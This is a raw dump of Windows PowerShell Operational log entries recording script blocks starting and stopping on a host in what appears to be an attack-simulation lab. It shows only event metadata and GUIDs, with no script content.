RecordNumber=2647308
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:11:52 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2647307
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:11:57 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2647326
Keywords=None
Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:11:57 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2647325
Keywords=None
Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:11:57 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2647324
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:11:57 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2647323
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:11:57 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2647322
Keywords=None
Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:11:57 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2647321
Keywords=None
Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:11:57 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2647320
Keywords=None
Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:11:57 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2647319
Keywords=None
Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:11:57 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2647318
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:11:57 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2647317
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:12:02 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2647336
Keywords=None
Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:12:02 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2647335
Keywords=None
Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:12:02 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2647334
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:12:02 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2647333
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:12:02 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2647332
Keywords=None
Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:12:02 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2647331
Keywords=None
Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:12:02 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2647330
Keywords=None
Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:12:02 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2647329
Keywords=None
Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:12:02 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2647328
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:12:02 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2647327
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:12:08 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2647346
Keywords=None
Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:12:08 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2647345
Keywords=None
Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:12:08 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2647344
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:12:08 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2647343
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:12:08 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2647342
Keywords=None
Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:12:08 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2647341
Keywords=None
Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:12:08 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2647340
Keywords=None
Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:12:08 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2647339
Keywords=None
Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:12:08 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2647338
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:12:08 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2647337
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:12:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2647356
Keywords=None
Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:12:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2647355
Keywords=None
Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:12:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2647354
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:12:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2647353
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:12:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2647352
Keywords=None
Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:12:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2647351
Keywords=None
Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:12:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2647350
Keywords=None
Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:12:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2647349
Keywords=None
Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:12:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2647348
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:12:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2647347
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:12:18 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2647366
Keywords=None
Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:12:18 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2647365
Keywords=None
Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:12:18 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2647364
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:12:18 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2647363
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:12:18 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2647362
Keywords=None
Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:12:18 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2647361
Keywords=None
Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:12:18 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2647360
Keywords=None
Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:12:18 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2647359
Keywords=None
Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:12:18 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2647358
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:12:18 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2647357
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:12:23 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2647376
Keywords=None
Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:12:23 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2647375
Keywords=None
Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:12:23 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
